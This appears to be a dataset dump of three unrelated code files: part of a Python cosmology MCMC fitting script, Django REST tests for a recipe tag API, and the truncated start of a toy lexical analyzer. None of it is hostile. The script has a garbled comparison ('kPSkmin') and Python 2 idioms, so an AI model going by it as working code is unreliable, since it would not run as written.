\n\n\n\n###########################################\n### Functions ###########################\n###########################################\n\n\ndef Hubble(Om,h,z):\n return h*((Om)*(1+z)**3.+(1-Om))**0.5\n\ndef DA(Om,h,z):\n r = scipy.integrate.quad(lambda x:1./Hubble(Om,h,x), 0, z)[0]\n return r/(1+z) \n\ndef get_AP_param(Om,h,fiducial):\n lnsAsfid,Omfid,hfid = fiducial\n \n qperp = DA(Om,h,z_pk)/DA(Omfid,hfid,z_pk)\n qpar = Hubble(Omfid,hfid,z_pk)/Hubble(Om,h,z_pk)\n \n return qperp,qpar\n\ndef check_if_multipoles_k_array(setk):\n return setk[len(setk)/3] == setk[0] \n \n\n\ndef get_grid(gridname,nbinsAs=100,nbins = 50,withBisp=False):\n \n \"\"\" Computes the power spectra given the b_i and the EFT power spectra\n\n Inputs\n ------\n gridname : The name of grid associated to the sim\n nbinsAs : number of bins for As (default is 100)\n nbinsAs : number of bins for Om and h (default is 50)\n withBisp : whether or not to load grid for bispectrum (only works for simtype = LightConeHector)\n\n Outputs\n ------\n The min,max values for the three parameters as well as the interpolation for the linear and loop power spectra\n \"\"\"\n \n thetatab = np.load(opa.abspath(opa.join(INPATH,'GridsEFT/Tablecoord%s.npy'%gridname)))\n\n theta3D = thetatab.reshape((nbinsAs,nbins,nbins,3))\n\n lnAstab = theta3D[:,0,0,0]\n Omtab = theta3D[0,:,0,1]\n htab = theta3D[0,0,:,2]\n\n\n lnAsmin = lnAstab.min()\n lnAsmax = lnAstab.max()\n Ommin = Omtab.min()\n Ommax = Omtab.max()\n hmin = htab.min()\n hmax = htab.max()\n\n TablePlin = np.load(opa.abspath(opa.join(INPATH,'GridsEFT/TablePlin%s.npy'%gridname)))\n TablePloop = np.load(opa.abspath(opa.join(INPATH,'GridsEFT/TablePloop%s.npy'%gridname)))\n Tablesigsq = np.load(opa.abspath(opa.join(INPATH,'GridsEFT/Tablesigsq%s.npy'%gridname)))\n\n Plininterp = scipy.interpolate.RegularGridInterpolator((lnAstab,Omtab,htab),TablePlin.reshape((nbinsAs,nbins,nbins,TablePlin.shape[-2],TablePlin.shape[-1])))\n Ploopinterp = scipy.interpolate.RegularGridInterpolator((lnAstab,Omtab,htab),TablePloop.reshape((nbinsAs,nbins,nbins,TablePloop.shape[-2],TablePloop.shape[-1])))\n Sigsqinterp = scipy.interpolate.RegularGridInterpolator((lnAstab,Omtab,htab),Tablesigsq.reshape((nbinsAs,nbins,nbins)))\n \n interpolations = [Plininterp,Ploopinterp,Sigsqinterp]\n if withBisp:\n TableBisp = np.load(opa.abspath(opa.join(INPATH,'GridsEFT/TableBisp%s.npy'%gridname)))\n Bispinterp = scipy.interpolate.RegularGridInterpolator((lnAstab,Omtab,htab),TableBisp.reshape((nbinsAs,nbins,nbins,TableBisp.shape[-2],TableBisp.shape[-1])))\n interpolations = [Plininterp,Ploopinterp,Sigsqinterp,Bispinterp]\n \n return lnAsmin,lnAsmax,Ommin,Ommax,hmin,hmax,interpolations\n \n \n \ndef computePS(cvals,datalin,dataloop,setkin,setkout,sigsq=-100):\n \n \"\"\" Computes the power spectra given the b_i and the EFT power spectra\n\n Inputs\n ------\n bvals : The values for the b_i\n datalin : the linear power spectra from the EFT, with shape (multipoles, b_i, k)\n dataloop : the loop power spectra from the EFT, with shape (multipoles, b_i, k)\n setkin : the values of k from the input power spectra (must match datalin and dataloop)\n setkout : the values of k for the output power spectra\n removesqsig: whether or not to remove the piece of P22 which is constant at low k\n\n Outputs\n ------\n The power spectra multipoles, non-concatenated\n \"\"\"\n \n datalin0,datalin2,datalin4 = datalin\n data0,data2,data4 = dataloop\n b1,b2,b3,b4,b5,b6,b7,b8,b9,b10 = cvals#\n \n # the columns of the Ploop data files.\n cvals = np.array([1,b1,b2,b3,b4,b1*b1,b1*b2,b1*b3,b1*b4,b2*b2,b2*b4,b4*b4,b1*b5,b1*b6,b1*b7,b5,b6 ,b7,b8 ,b9,b10])\n \n # Check the k-arrays are in the right format (not concatenated for multipoles)\n if check_if_multipoles_k_array(setkin):\n setkin = setkin[:len(setkin)/3]\n if check_if_multipoles_k_array(setkout):\n setkout = setkin[:len(setkout)/3]\n \n \n P0 = interp1d(setkin,np.dot(cvals,data0)+datalin0[0]+b1*datalin0[1]+b1*b1*datalin0[2] - 2*(-b1 + b2 + b4)**2*sigsq)(setkout)\n P2 = interp1d(setkin,np.dot(cvals,data2)+datalin2[0]+b1*datalin2[1]+b1*b1*datalin2[2])(setkout)\n P4 = interp1d(setkin,np.dot(cvals,data4)+datalin4[0]+b1*datalin4[1]+b1*b1*datalin4[2])(setkout)\n \n return np.array([P0,P2,P4])\n\n\n \ndef gelman_rubin_convergence(withinchainvar, meanchain, n, Nchains, ndim):\n \n \"\"\" Calculate Gelman & Rubin diagnostic\n 1. Remove the first half of the current chains\n 2. Calculate the within chain and between chain variances\n 3. estimate your variance from the within chain and between chain variance\n 4. Calculate the potential scale reduction parameter\n \n Inputs\n ------\n withinchainvar : array of the variances within each chains\n meanchain : array of the means within each chains\n n : length of the chains\n Nchains : number oc chains\n ndim : number of varied parameters\n\n Outputs\n ------\n The gelman rubin criteria\n \n \n \"\"\"\n\n meanall = np.mean(meanchain, axis = 0)\n W = np.mean(withinchainvar, axis = 0)\n B = np.arange(ndim,dtype = np.float)\n for jj in range(0, ndim):\n B[jj] = 0.\n for jj in range(0, Nchains):\n B = B + n*(meanall - meanchain[jj])**2/(Nchains-1.)\n estvar = (1. - 1./n)*W + B/n\n scalereduction = np.sqrt(estvar/W)\n\n return scalereduction\n \n \ndef match_para(theta, free_para, fix_para):\n \n \"\"\" Select the parameters that should be varied\n \n Inputs\n ------\n theta : array of all parameters\n free_para : list of boolean corresponding to the parameters to be varied\n fix_para : list of the values for the fixed parameters\n \n Outputs\n ------\n array of the parameters with the one not varied fixed to their fix_para value.\n \n \"\"\"\n \n value_array = np.arange(len(free_para),dtype = np.float)\n \n counter = 0\n for i in range(len(free_para)):\n if(free_para[i] == True):\n value_array[i] = theta[counter]\n counter += 1\n else: value_array[i] = fix_para[i]\n\n return value_array\n\n\ndef lnprior(theta, free_para, fix_para,bounds):\n \n \"\"\" Computes the prior \n\n Inputs\n ------\n theta : array of all parameters\n free_para : list of boolean corresponding to the parameters to be varied\n fix_para : list of the values for the fixed parameters\n bounds : 2d array with the [min,max] values for the parameters\n \n Outputs\n ------\n the value of the log of the prior\n \n \"\"\"\n \n value_array = match_para(theta, free_para, fix_para)\n \n withinprior = True\n for i in range(len(value_array)):\n withinprior = (withinprior) and (bounds[i][0] <= value_array[i] <= bounds[i][1])\n \n if withinprior: \n return 0.\n else:\n return -np.inf\n\n\ndef lnlike(theta, xdata, ydata, Cinv, free_para, fix_para,bounds,fiducial, interpolation_grid,binning=False,TableNkmu=None, window=True,dataQ=None,withBisp=False,masktriangle=None,Bispdata=None):\n \n \"\"\" Computes the log of the likelihood\n\n Inputs\n ------\n theta : array of all parameters\n xdata : the k on which the data is evaluated (concatenated for multipoles)\n ydata : the data concatenated for multipoles\n Cinv : the inverse of the covariance\n free_para : list of boolean corresponding to the parameters to be varied\n fix_para : list of the values for the fixed parameters\n bounds : 2d array with the [min,max] values for the parameters\n fiducial : the value of cosmological parameters on the fiducial (for AP effect)\n interpolation_grid : the interpolation of the power spectra on the grid. Include the bispectrum if considered\n binning : whether to take into account the discreteness of the data power spectra. Must provide a number of modes per bin in TableNkmu\n TableNkmu : the number of modes per (k,mu) bin. Expected to be of the type kmean, mucentral, Nkmu\n window : whether to take into account the window function (when not a periodic square box, such as Lightcone). Must provide the data for the Q matrices (see e.g. section 4.3.2 of arXiv:1706.02362)\n dataQ : the Q matrices (multipoles of the window function) taken from Florian. Of the form stab,dummy,Q0,Q2,Q4,Q6,Q8,mueff\n withBisp : whether we also include the Bisepctrum. In this case one need to provide a mask for the triangle we consider, as well as the data.\n masktriangle : mask for the triangle to consider\n Bispdata : the data for the bispectrum\n Outputs\n ------\n the value of the log of the likelihood\n \n \"\"\"\n \n # Because we have a precomputed grid for the cosmological parameters, need to check that we are within that grid (defined in the prior).\n if not np.isfinite(lnprior(theta, free_para, fix_para,bounds)):\n return -100000\n else :\n lnAs,Om,h,b1,b2,b3,b4,b5,b6,b7,b8,b9,b10,b11 = match_para(theta, free_para, fix_para)\n \n # Import the power spectra interpolators on the grid\n if withBisp:\n Plininterp,Ploopinterp,Sigsqinterp,Bispinterp = interpolation_grid\n else:\n Plininterp,Ploopinterp,Sigsqinterp = interpolation_grid \n Bispinterp = None\n \n kfull = Ploopinterp((lnAs,Om,h))[:,0]\n \n if check_if_multipoles_k_array(kfull):\n kfull = kfull[:len(kfull)/3] \n \n Ploop = np.swapaxes(Ploopinterp((lnAs,Om,h)).reshape(3,len(kfull),22),axis1 = 1,axis2 = 2)[:,1:,:]\n Plin = np.swapaxes(Plininterp((lnAs,Om,h)).reshape(3,len(kfull),4),axis1 = 1,axis2 = 2)[:,1:,:] \n \n # Get sigma^2 to be removed\n \n sigsq = Sigsqinterp((lnAs,Om,h)) \n \n # Compute the PS \n valueb = np.array([b1,b2,b3,b4,b5,b6,b7,b8,b9,b10]) \n Pmodel_original = computePS(valueb,Plin,Ploop,kfull,kfull,sigsq=sigsq)\n Pmodel = Pmodel_original.copy()\n \n #The AP parameters\n qperp,qpar = get_AP_param(Om,h,fiducial)\n \n \n \n if not binning:\n Pmodel = APpowerspectraNkmu.changetoAPnobinning(Pmodel,kfull,kfull,qperp,qpar)\n else:\n if type(TableNkmu) == type(None):\n raise Exception('You want to account for binning but forgot to provide a TableNkmu (array of shape (3,n)) obtained from the sims/ Can be found in input/TableNkmu')\n else : Pmodel = APpowerspectraNkmu.changetoAPbinning(Pmodel,kfull,kfull,qperp,qpar,TableNkmu)\n \n \n if window:\n if type(dataQ) == type(None):\n raise Exception('You want to account for window function but forgot to provide a dataQ (array of shape (8,n)) obtained from the sims. Can be found in input/dataQ')\n else: \n kjunhigh = 0.75\n Pmodel = WindowFFTlog.transformQ(np.concatenate(Pmodel),np.concatenate([kfull,kfull,kfull]),xdata,dataQ,kr=0.5,extrap=True,setkextrap= 10**(np.linspace(-5,np.log10(2*kjunhigh),200)),k_junc_low=kfull[1],k_junc_high=kjunhigh,ktr=2,sig=0.5,withlog=False,damp=False)\n else:\n Pmodel = APpowerspectraNkmu.changetoAPnobinning(Pmodel,kfull,xdata,1,1) #This is just to interpolate the power spectrum on xdata\n \n \n modelX = np.concatenate(Pmodel)\n \n if withBisp:\n if type(masktriangle) == type(None) or type(Bispdata) == type(None) or type(Bispinterp) == type(None):\n raise Exception('You want to use the bispectrum but forgot to provide a mask for the triangle or the data or the interpolation of the Bisp. Can be found in input/')\n if Cinv.shape[0] != xdata.shape + sum(masktriangle):\n raise Exception('You want to use the bispectrum but forgot to use the full covariance for power spectrum + Bisp. Can be found in input/Covariance')\n \n TermsBisp = Bispinterp((lnAs,Om,h))\n bval = np.array([1.,b1,b2,b4,b1*b11,b1**2,b1*b2,b1*b4,b1**3,b1**2*b2,b1**2*b4,b8**2])\n Bisp = 1./(4*np.pi)*np.dot(bval,TermsBisp[3:])\n \n modelX = np.concatenate([modelX,Bisp[masktriangle]])\n ydata = np.concatenate([ydata,Bispdata[masktriangle]])\n \n \n \n diff = (modelX - ydata)\n step1 = np.dot(Cinv,diff)\n chi2 = np.dot(diff,step1)\n if np.isnan(chi2):\n modelX = np.concatenate(APpowerspectraNkmu.changetoAPnobinning(Pmodel_original,kfull,xdata,qperp,qpar))\n if withBisp:\n modelX = np.concatenate([modelX,Bisp[masktriangle]])\n diff = (modelX - ydata)\n step1 = np.dot(Cinv,diff)\n chi2 = np.dot(diff,step1)\n #print('chi2nan = ' + str(chi2)) \n \n return -0.5*chi2\n\n\ndef lnprob(theta, xdata, ydata, Cinv, free_para, fix_para,bounds,fiducial, Grid,binning=False,TableNkmu=None, window=True,dataQ=None,withBisp=False,masktriangle=None,Bispdata=None):\n \n \"\"\" Computes the log of the probability (logprior + loglike)\n\n Inputs\n ------\n theta : array of all parameters\n xdata : the k on which the data is evaluated (concatenated for multipoles)\n ydata : the data concatenated for multipoles\n Cinv : the inverse of the covariance\n free_para : list of boolean corresponding to the parameters to be varied\n fix_para : list of the values for the fixed parameters\n fiducial : the value of cosmological parameters on the fiducial (for AP effect)\n bounds : 2d array with the [min,max] values for the parameters\n interpolation_grid : the interpolation of the power spectra on the grid\n binning : whether to take into account the discreteness of the data power spectra. Must provide a number of modes per bin in TableNkmu\n TableNkmu : the number of modes per (k,mu) bin. Expected to be of the type kmean, mucentral, Nkmu\n window : whether to take into account the window function (when not a periodic square box, such as Lightcone). Must provide the data for the Q matrices (see e.g. section 4.3.2 of arXiv:1706.02362)\n dataQ : the Q matrices (multipoles of the window function) taken from Florian. Of the form stab,dummy,Q0,Q2,Q4,Q6,Q8,mueff\n Outputs\n ------\n the value of (logprior + loglike)\n \n \"\"\" \n lp = lnprior(theta, free_para, fix_para,bounds)\n \n if np.isfinite(lp) == False :\n dummy = -np.inf\n \n dummy = lp + lnlike(theta, xdata, ydata, Cinv, free_para, fix_para,bounds,fiducial, Grid,binning=binning,TableNkmu=TableNkmu, window=window,dataQ=dataQ,withBisp=withBisp,masktriangle=masktriangle,Bispdata=Bispdata)\n\n return dummy\n\n\n\n ###########################################\n ### Main program ########################\n ###########################################\n\n\nif __name__ == \"__main__\":\n\n # Table of cosmological parameters according to seems\n\n dfcosmo = pd.read_csv(opa.join(INPATH,'DataFrameCosmosims.csv'),index_col=0)\n simtype = \"LightConeHector\"\n \n \n \n # Load the row that we are interested in\n series_cosmo = dfcosmo.loc[simtype]\n \n \n gridname = series_cosmo.loc['gridname']+'morepoint_True'\n \n\n # COSMOLOGICAL GLOBALS: fiducial model (should match input sim data!)\n Om_fid = series_cosmo.loc['Omega_m']\n lnAs_fid = series_cosmo.loc['lnAs']\n h_fid = series_cosmo.loc['h']\n z_pk = series_cosmo.loc['z_pk']\n \n fiducial = [lnAs_fid,Om_fid,h_fid]\n\n #### Choice for the data #####\n #For lightcone simulations, need to specify north or south for now (later, merge the two but I'm missing the covariance for SGC\n ZONE = 'NGC'\n \n boxnumber = 1 \n KMAX = 0.2\n kmin = 0.01\n kminbisp = kmin\n kmaxbisp = 0.05\n\n if ZONE != '': \n dataQ = np.loadtxt(opa.join(INPATH,'Window_functions/dataQ_%s.txt'%ZONE)).T \n \n Full_Cov = np.loadtxt(opa.join(INPATH,'Covariance/Cov%s%s.dat'%(simtype,ZONE)))\n \n \n \n runtype = simtype+ZONE\n \n withBisp = False\n \n if withBisp:\n runtype += 'withBispkmax%s'%kmaxbisp\n Full_Cov = np.loadtxt(opa.join(INPATH,'Covariance/Cov%s%s_Bisp.dat'%(simtype,ZONE)))\n \n \n Q1,Q2,Q3,Bispdata = np.loadtxt(opa.join(INPATH,'DataSims/Bispred_LightConeHector_%s_%s.dat'%(ZONE,boxnumber))).T\n window = True\n binning = False\n masktriangle = (Q1>=kminbisp)&(Q1<=kmaxbisp)&(Q1<=Q2+Q3)&(Q1>=abs(Q2-Q3))&(Q2>=kminbisp)&(Q2<=kmaxbisp)&(Q3>=kminbisp)&(Q3<=kmaxbisp)\n TableNkmu = None\n lnAsmin,lnAsmax,Ommin,Ommax,hmin,hmax,interpolation_grid = get_grid(gridname,withBisp=withBisp)\n \n\n##############################\n### Priors ###################\n#############################\n\n #### The uniform prior on the b_i#####\n bmin = -200\n bmax = 200\n\n # We require b_1>0\n bmintab = [0] +[bmin]*10\n bmaxtab = [bmax]*11\n \n\n ##### The bounds for the minimizer ######\n bfmaxtab = np.concatenate([[lnAsmax,Ommax,hmax],bmaxtab])\n bfmintab = np.concatenate([[lnAsmin,Ommin,hmin],bmintab])\n\n bounds = zip(bfmintab,bfmaxtab)\n\n ##### Initial guess for the b_i #####\n inipos = np.array([1.85 , -2.62623719, -0.39661384, 4.21514113,\n 8.36786486, -29.68630616, 1.03528956, -32.39092667,\n 40.00717862, 4.61905778, 100])\n\n ##### Guess for the \\sigma, to help with the initial position of walkers #####\n onesigma = np.array([ 2.48736140e-01, 4.40317511e-02, 2.65820186e-02,\n 3.13222972e-01, 1.13467462e+01, 3.17680821e+01,\n 1.02673261e+01, 5.73925336e+01, 3.33253123e+01,\n 2.49030346e+01, 5.73415031e+01, 1.38582379e+02,\n 1.40667700e+02,1.40667700e+02]) \n\n \n kmaxtab = [KMAX]\n\n print(\"Starting process\")\n kmaxname = ['kmax%s'%kmax for kmax in kmaxtab]\n\n for boxnumber in [boxnumber]:\n\n kPS,PSdata,_ = np.loadtxt(opa.join(INPATH,'DataSims/ps1D_%s%s_%s.dat'%(simtype,ZONE,boxnumber))).T\n\n for indexk,kmax in enumerate(kmaxtab): \n\n xdata = kPS[(kPSkmin)]\n ydata = PSdata[(kPSkmin)]\n indexkred = np.argwhere((kPSkmin))[:,0]\n if withBisp:\n indextriangle = np.argwhere(masktriangle)[:,0]+kPS.shape[0]\n indexkred = np.concatenate([indexkred,indextriangle])\n \n Covred = Full_Cov[indexkred[:,None],indexkred]\n\n Cinv = np.linalg.inv(Covred)\n \n #################################\n ## Setting up the fit ###########\n ################################# \n \n all_true = np.concatenate(([lnAs_fid, Om_fid, h_fid],inipos))\n all_name = np.concatenate(([r'$A_s$',r'$\\Omega_m$',r'$h$'],[r'$b_%s$'%i for i in range(len(inipos))]))\n free_para = [True,True,True,True,True,True,True,True,True,True,True,True,True,withBisp]\n \n nparam = len(free_para)\n \n \n # if free_para is false read the value in fix_para\n fix_para = all_true\n # create an array of free parameters\n counter = 0\n for i in range(nparam):\n if free_para[i] == True:\n counter += 1\n\n ndim = counter\n \n free_true = []\n free_name = []\n free_ml = np.arange(counter,dtype = np.float)\n\n counter = 0;\n for i in range(nparam):\n if free_para[i] == True:\n free_true.append(all_true[i])\n free_name.append(all_name[i])\n counter += 1\n\n\n #################################\n ## Find maximum likelihood ######\n #################################\n\n \n chi2 = lambda theta: -2 * lnlike(theta,xdata, ydata, Cinv, free_para, fix_para,bounds,fiducial, interpolation_grid,binning=binning,window=window,withBisp=withBisp,dataQ=dataQ,TableNkmu=TableNkmu,Bispdata=Bispdata,masktriangle=masktriangle)\n \n\n result = op.minimize(chi2, all_true,method = 'SLSQP',bounds = bounds,options = {'maxiter':100})\n\n all_ml = result[\"x\"]\n \n free_ml = all_ml[free_para]\n\n minchi2 = result[\"fun\"]\n \n if type(masktriangle) == type(None):\n dof = len(xdata) - ndim\n else:\n dof = len(xdata) + sum(masktriangle) - ndim\n \n np.savetxt(opa.join(OUTPATH,\"minchi2%sbox_%skmax_%s.txt\")%(runtype,boxnumber,kmax),np.concatenate([free_ml,[minchi2,dof]]))\n \n ###################################\n ## run MCMC #######################\n ###################################\n\n # Set up the sampler.\n \n\n Nchains = 4\n nwalkers = 2*nparam\n fidpos = np.concatenate([ [ lnAs_fid, Om_fid, h_fid], free_ml[3:]])\n\n\n # Start MCMC\n t0 = time.time()\n temperature = 1.\n minlength = 4000\n ichaincheck = 50\n ithin = 1\n epsilon = 0.06\n # Set up the sampler.\n pos = []\n sampler = []\n rstate = np.random.get_state()\n\n print(\"ndim = \", ndim)\n print(\"Nchains = \", Nchains)\n\n for jj in range(0, Nchains):\n\n initialpos = []\n for ii in xrange(nwalkers):\n accepted = False\n while (not accepted):\n trialfiducial = np.random.normal(loc = free_ml,scale = temperature*onesigma[free_para])\n accepted = np.isfinite(lnprior(trialfiducial, free_para, fix_para,bounds))\n if accepted:\n initialpos.append(trialfiducial)\n pos.append(initialpos)\n sampler.append(emcee.EnsembleSampler(nwalkers, ndim, lnprob,a = 1.15, args = (xdata, ydata, Cinv, free_para, fix_para,bounds,fiducial, interpolation_grid),kwargs={'binning':binning,'window':window,'withBisp':withBisp,'dataQ':dataQ,'masktriangle':masktriangle,'TableNkmu':TableNkmu,'Bispdata':Bispdata},threads = 1))\n \n np.save(opa.join(OUTPATH,\"inipos%sbox_%skmax_%s\")%(runtype,boxnumber,kmax),np.array(pos))\n # Start MCMC\n print(\"Running MCMC...\")\n\n withinchainvar = np.zeros((Nchains,ndim))\n meanchain = np.zeros((Nchains,ndim))\n scalereduction = np.arange(ndim,dtype = np.float)\n for jj in range(0, ndim):\n scalereduction[jj] = 2.\n\n itercounter = 0\n chainstep = minlength\n loopcriteria = 1\n while loopcriteria:\n \n itercounter = itercounter + chainstep\n print(\"chain length = \",itercounter,\" minlength = \",minlength)\n samplesJG = []\n for jj in range(0, Nchains):\n # Since we write the chain to a file we could put storechain = False, but in that case\n # the function sampler.get_autocorr_time() below will give an error\n for result in sampler[jj].sample(pos[jj], iterations = chainstep, rstate0 = rstate, storechain = True, thin = ithin):\n pos[jj] = result[0]\n chainchi2 = -2.*result[1]\n rstate = result[2]\n \n \n # we do the convergence test on the second half of the current chain (itercounter/2)\n chainsamples = sampler[jj].chain[:, itercounter/2:, :].reshape((-1, ndim))\n #print(\"len chain = \", chainsamples.shape)\n withinchainvar[jj] = np.var(chainsamples, axis = 0)\n meanchain[jj] = np.mean(chainsamples, axis = 0)\n samplesJG.append(chainsamples)\n np.save(opa.join(OUTPATH,\"ChainsMidway/samplerchainmid%sbox_%skmax_%srun_%s\")%(runtype,boxnumber,kmax,jj),sampler[jj].chain[:20,::10,:])\n scalereduction = gelman_rubin_convergence(withinchainvar, meanchain, itercounter/2, Nchains, ndim)\n print(\"scalereduction = \", scalereduction)\n \n loopcriteria = 0\n for jj in range(0, ndim):\n if np.absolute(1-scalereduction[jj]) > epsilon:\n loopcriteria = 1\n\n chainstep = ichaincheck\n\n print(\"Done.\")\n trun = time.time()-t0\n print(trun)\n\n \n\n # Print out the mean acceptance fraction. In general, acceptance_fraction\n # has an entry for each walker so, in this case, it is a 250-dimensional\n # vector.\n for jj in range(0, Nchains):\n print(\"Mean acceptance fraction for chain \", jj,\": \", np.mean(sampler[jj].acceptance_fraction))\n np.savetxt(opa.join(OUTPATH,'AcceptanceFr%sbox_%skmax_%srun_%s.dat'%(runtype,boxnumber,kmax,jj)),[np.mean(sampler[jj].acceptance_fraction)])\n# Estimate the integrated autocorrelation time for the time series in each\n # parameter.\n #print(\"Autocorrelation time:\", sampler.get_autocorr_time())\n \n burnin = 1000\n \n for jj in range(Nchains):\n np.save(opa.join(OUTPATH,\"samplerchain%sbox_%skmax_%srun_%s\")%(runtype,boxnumber,kmax,jj),sampler[jj].chain[:,::5,:])\n\n\n ###################################\n ## Compute the quantiles ##########\n ###################################\n\n mcmc_array = map(lambda v: (v[1], v[2]-v[1], v[1]-v[0], v[4]-v[1], v[1]-v[3]), zip(*np.percentile(np.array(samplesJG).reshape((-1,ndim)), [15.86555, 50, 84.13445, 2.2775, 97.7225], axis = 0)))\n\n np.savetxt(opa.join(OUTPATH,\"mcmcarray%sbox_%skmax_%s.txt\")%(runtype,boxnumber,kmax),mcmc_array)\n\n","sub_path":"MCMC_clean.py","file_name":"MCMC_clean.py","file_ext":"py","file_size_in_byte":26643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"238895508","text":"from django.contrib.auth import get_user_model\nfrom django.urls import reverse\nfrom django.test import TestCase\nfrom rest_framework import status\nfrom rest_framework.test import APIClient\nfrom core.models import Tag\nfrom recipe.serializers import TagSerializer\n\nTAGS_URL = reverse('recipe:tag-list')\nclass PublicTagAPiTests(TestCase):\n \"\"\"test the public available tags api\"\"\"\n def setUp(self):\n self.client = APIClient()\n def test_login_required(self):\n \"\"\"test that login is required\"\"\"\n res = self.client.get(TAGS_URL)\n\n self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)\n\nclass PrivatTagAPITest(TestCase):\n \"\"\"test the auth. user tags API\"\"\"\n def setUp(self):\n self.user = get_user_model().objects.create_user(\n 'test@test.com',\n 'paspasss'\n )\n self.client=APIClient()\n self.client.force_authenticate(self.user)\n\n def test_retrive_tags(self):\n \"\"\"test retriving tags\"\"\"\n Tag.objects.create(user=self.user, name = 'vegan')\n Tag.objects.create(user=self.user, name = 'mesar')\n res = self.client.get(TAGS_URL)\n tags = Tag.objects.all().order_by('-name')\n serializer = TagSerializer(tags , many = True)\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n self.assertEqual(res.data, serializer.data)\n\n def test_tags_limited_to_user(self):\n \"\"\"test that tags return are for authn. user\"\"\"\n user2 = get_user_model().objects.create_user(\n 'mirza@mirza.com',\n 'mirzaasss'\n )\n Tag.objects.create(user = user2, name = 'saha')\n tag = Tag.objects.create(user = self.user, name = 'hrana lijepa')\n\n res = self.client.get(TAGS_URL)\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n self.assertEqual(len(res.data), 1)\n self.assertEqual(res.data[0]['name'], tag.name)\n\n def test_create_tag_succes(self):\n \"\"\"test creating a new tag\"\"\"\n payload = {'name': 'test tag'}\n self.client.post(TAGS_URL, payload)\n exists = Tag.objects.filter(\n user=self.user,\n name = payload['name']\n ).exists()\n self.assertTrue(exists)\n\n def test_create_tag_invalid(self):\n \"\"\"test creating new tag with invalid payload\"\"\"\n payload = {'name': ''}\n res = self.client.post(TAGS_URL, payload)\n\n self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)\n\n","sub_path":"app/recipe/tests/test_tags_api.py","file_name":"test_tags_api.py","file_ext":"py","file_size_in_byte":2479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"58966314","text":"'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n File name: Project.ipynb\n Author: Meljohn Ugaddan\n Date created: 3/12/2021\n Date last modified: 4/12/2021\n Python Version: 3.8\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n\nimport re \n\n# STATE TRANSITION\nnextState = {0: {0:0 ,1:1 , 2:2 , 3:8 , 4:0 , 11:11,6:6 ,5:5 ,7:7 ,8:8 ,9:9 ,10:10},\n 1: {0:0 ,1:1 , 2:11, 3:3 , 4:0 , 11:11,6:6 ,5:5 ,7:7 ,8:8 ,9:9 ,10:10},\n 2: {0:0 ,1:11, 2:0 , 3:0 , 4:0 , 11:0 ,6:0 ,5:0 ,7:0 ,8:0 ,9:0 ,10:0 },\n 3: {0:0 ,1:4 , 2:2 , 3:0 , 4:4 , 11:11,6:0 ,5:0 ,7:7 ,8:8 ,9:9 ,10:10},\n 11:{0:0 ,1:11, 2:2 , 3:4 , 4:4 , 11:7 ,6:0 ,5:0 ,7:7 ,8:8 ,9:9 ,10:10},\n 4: {0:0 ,1:4 , 2:0 , 3:0 , 4:0 , 11:11,6:6 ,5:5 ,7:7 ,8:8 ,9:9 ,10:10},\n 5: {0:0 ,1:1 , 2:2 , 3:3 , 4:0 , 11:11,6:6 ,5:5 ,7:7 ,8:8 ,9:9 ,10:10},\n 6: {0:0 ,1:1 , 2:2 , 3:3 , 4:0 , 11:11,6:7 ,5:5 ,7:7 ,8:8 ,9:9 ,10:10},\n 7: {0:7 ,1:7 , 2:2 , 3:7 , 4:7 , 11:11,6:7 ,5:7 ,7:7 ,8:7 ,9:7 ,10:7 },\n 8: {0:0 ,1:1 , 2:2 , 3:8 , 4:0 , 11:11,6:6 ,5:5 ,7:7 ,8:8 ,9:9 ,10:10},\n 9 :{0:9 ,1:9 , 2:9 , 3:9 , 4:9 , 11:9 ,6:9 ,5:9 ,7:9 ,8:9 ,9:0 ,10:9 },\n 10:{0:10,1:10, 2:10, 3:10, 4:10, 11:10,6:10,5:10,7:10,8:10 ,9:9 ,10:0 }}\n\n# CLASS FOR EACH TOKEN\nclass Token:\n id = ''\n idString = ''\n lexeme = ''\n \n def __init__(self, id, idString, lexeme): \n self.id = id \n self.idString = idString\n self.lexeme = lexeme\n \n## THE HEART OF THE PROGRAM\nclass LexicalAnalyzer:\n state = 0\n text = '' # SPECIAL CHARACTER FOR \n CheckIllegalChar = re.compile(r\"[<>{}[\\]~`^!:]\") # VARIABLE FOR CHECKING SPECIAL CHARACTER FROM THE FILE\n FileName = 'samp1.txt'\n lastRead = 0\n notFirstRead = False\n prevState = None\n \n # THIS OBJECT IS FOR DYNAMIC CALLING OF CHARACTERS\n stringObj = {\n \"=\" : \"EQUAL\",\n \"*\" : \"MULT\",\n \"**\" : \"EXP\",\n \"(\" : \"LPAREN\",\n \")\" : \"RPAREN\",\n \";\" : \"SCOLON\",\n \",\" : \"COMMA\",\n \"%\" : \"MODULO\",\n \"+\" : \"PLUS\",\n \"-\" : \"MINUS\",\n \"/\" : \"DIV\",\n }\n \n token = []\n\n def __init__(self, name):\n self.reset()\n self.FileName = name\n \n def reset(self):\n self.token = []\n \n def resetTextAndState(self):\n lastRead = 0\n notFirstRead = False\n state = 0\n text = ''\n NumberDoesntHaveE = True\n NumberDoesntHaveDot = True\n \n def check_character(self, c ,currentState):\n if(c.isdigit() ):\n self.state = 1\n elif(c==\"(\"):\n self.state = 0\n elif(c==\")\"):\n self.state= 0\n elif(c==\";\"):\n self.state = 0\n elif(c==\",\"):\n self.state = 0\n elif(c.lower() =='e'):\n self.state = 3\n elif(c =='.'):\n self.state = 2\n elif(c==\"=\"):\n self.state = 0\n elif(c==\"%\"):\n self.state = 0\n elif(c==\"+\" or c==\"-\"):\n self.state= 4\n elif(c==\"*\"):\n self.state = 5\n elif(c==\"/\"):\n self.state = 6\n elif(c==\"#\"):\n self.state= 7\n elif(c.isalpha() ):\n self.state= 8 \n elif(c=='\"'):\n self.state= 9\n elif(c==\"'\"):\n self.state= 10\n else:\n # THIS CODE ALLOW TO TERMINATE SPACE BETWEEN NUMBER\n if(currentState==1):\n self.state= 0\n # ALLOW SPACES TO STRING\n elif(currentState==9 or currentState== 10):\n self.state=0\n # THIS 